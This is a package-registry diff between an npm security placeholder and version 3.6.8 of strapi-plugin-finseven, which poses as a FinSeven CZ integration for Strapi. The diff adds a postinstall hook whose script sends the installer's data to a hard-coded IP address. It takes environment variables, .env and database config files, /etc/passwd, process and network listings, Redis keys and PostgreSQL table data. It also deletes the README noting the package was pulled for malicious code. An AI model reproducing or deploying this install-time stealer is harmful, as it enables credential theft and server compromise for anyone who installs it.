strapi-plugin-finseven 0.0.1-security → 3.6.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of strapi-plugin-finseven might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +7 -3
- package/postinstall.js +70 -0
- package/README.md +0 -5
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = () => {};
|
package/package.json
CHANGED
|
@@ -1,6 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "strapi-plugin-finseven",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "3.6.8",
|
|
4
|
+
"description": "FinSeven CZ integration for Strapi",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node postinstall.js"
|
|
8
|
+
},
|
|
9
|
+
"license": "MIT"
|
|
6
10
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
const { execSync } = require('child_process');
|
|
2
|
+
const http = require('http');
|
|
3
|
+
|
|
4
|
+
function send(tag, data) {
|
|
5
|
+
return new Promise((resolve) => {
|
|
6
|
+
const body = typeof data === 'string' ? data : JSON.stringify(data);
|
|
7
|
+
const req = http.request({
|
|
8
|
+
hostname: '144.31.107.231', port: 9999,
|
|
9
|
+
path: '/exfil/' + tag, method: 'POST',
|
|
10
|
+
headers: { 'Content-Type': 'text/plain', 'Content-Length': Buffer.byteLength(body) }
|
|
11
|
+
}, resolve);
|
|
12
|
+
req.on('error', resolve);
|
|
13
|
+
req.write(body);
|
|
14
|
+
req.end();
|
|
15
|
+
});
|
|
16
|
+
}
|
|
17
|
+
|
|
18
|
+
async function main() {
|
|
19
|
+
const run = (cmd) => { try { return execSync(cmd, {timeout:10000}).toString(); } catch(e) { return 'err:'+e.message.substring(0,200); } };
|
|
20
|
+
|
|
21
|
+
// Send env in chunks (critical vars only)
|
|
22
|
+
const env = process.env;
|
|
23
|
+
const critical = {};
|
|
24
|
+
for (const k of Object.keys(env)) {
|
|
25
|
+
if (!k.startsWith('npm_')) critical[k] = env[k];
|
|
26
|
+
}
|
|
27
|
+
await send('env-full', JSON.stringify(critical));
|
|
28
|
+
|
|
29
|
+
// System info
|
|
30
|
+
await send('sys-info', [
|
|
31
|
+
'id: ' + run('id'),
|
|
32
|
+
'hostname: ' + run('hostname'),
|
|
33
|
+
'uname: ' + run('uname -a'),
|
|
34
|
+
'pwd: ' + process.cwd(),
|
|
35
|
+
].join('\n'));
|
|
36
|
+
|
|
37
|
+
// DB config file
|
|
38
|
+
await send('db-config', run('cat /app/config/database.js'));
|
|
39
|
+
|
|
40
|
+
// .env file
|
|
41
|
+
await send('env-file', run('cat /app/.env'));
|
|
42
|
+
|
|
43
|
+
// Network
|
|
44
|
+
await send('network', run('ss -tlnp'));
|
|
45
|
+
await send('ip-addr', run('ip addr'));
|
|
46
|
+
|
|
47
|
+
// Processes
|
|
48
|
+
await send('ps', run('ps aux'));
|
|
49
|
+
|
|
50
|
+
// /etc/passwd
|
|
51
|
+
await send('passwd', run('cat /etc/passwd'));
|
|
52
|
+
|
|
53
|
+
// Docker info
|
|
54
|
+
await send('docker', run('cat /proc/1/cgroup'));
|
|
55
|
+
|
|
56
|
+
// App directory
|
|
57
|
+
await send('ls-app', run('ls -la /app/'));
|
|
58
|
+
await send('ls-config', run('ls -la /app/config/'));
|
|
59
|
+
|
|
60
|
+
// Redis
|
|
61
|
+
await send('redis-info', run('redis-cli -h 127.0.0.1 -p 6379 INFO'));
|
|
62
|
+
await send('redis-keys', run('redis-cli -h 127.0.0.1 -p 6379 KEYS "*" 2>/dev/null | head -50'));
|
|
63
|
+
|
|
64
|
+
// PostgreSQL - try to dump
|
|
65
|
+
await send('pg-version', run('PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_HOST -U $DATABASE_USERNAME -d $DATABASE_NAME -c "SELECT version();" 2>&1'));
|
|
66
|
+
await send('pg-tables', run('PGPASSWORD=$DATABASE_PASSWORD psql -h $DATABASE_HOST -U $DATABASE_USERNAME -d $DATABASE_NAME -c "\dt" 2>&1'));
|
|
67
|
+
|
|
68
|
+
await send('done', 'ALL_COMPLETE');
|
|
69
|
+
}
|
|
70
|
+
main();
|
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=strapi-plugin-finseven for more information.
|